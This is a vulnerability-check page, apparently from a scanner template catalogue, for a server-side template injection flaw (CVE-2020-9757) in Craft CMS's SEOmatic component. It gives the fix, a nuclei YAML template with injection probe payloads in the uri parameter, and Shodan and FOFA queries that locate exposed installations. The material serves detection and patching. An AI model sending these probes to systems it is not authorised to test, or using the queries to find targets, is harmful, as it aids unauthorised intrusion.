Craft CMS < 3.3.0 - Server-Side Template Injection

criticalseverity

9.8CVSS score

72.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the server.

Fix

Upgrade Craft CMS to version 3.3.0 or higher to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}} ; GET {{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}
Positive when: contains "MetaLinkContainer" and "canonical" and "22344" AND status 200

Run it with nuclei: nuclei -id CVE-2020-9757 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-9757

info:
  name: Craft CMS < 3.3.0 - Server-Side Template Injection
  author: dwisiswant0
  severity: critical
  description: Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the server.
  remediation: |
    Upgrade Craft CMS to version 3.3.0 or higher to mitigate this vulnerability.
  reference:
    - https://github.com/nystudio107/craft-seomatic/blob/v3/CHANGELOG.md
    - https://github.com/giany/CVE/blob/master/CVE-2020-9757.txt
    - https://github.com/nystudio107/craft-seomatic/commit/65ab659cb6c914c7ad671af1e417c0da2431f79b
    - https://github.com/nystudio107/craft-seomatic/commit/a1c2cad7e126132d2442ec8ec8e9ab43df02cc0f
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9757
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-9757
    cwe-id: CWE-74
    epss-score: 0.72821
    epss-percentile: 0.99453
    cpe: cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: craftcms
    product: craft_cms
    shodan-query:
      - cpe:"cpe:2.3:a:craftcms:craft_cms"
      - http.html:craftcms
      - http.favicon.hash:-47932290
    fofa-query:
      - icon_hash=-47932290
      - body=craftcms
    publicwww-query: craftcms
  tags: cve,cve2020,ssti,craftcms,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}"
      - "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"

    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "MetaLinkContainer"
          - "canonical"
          - "22344"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from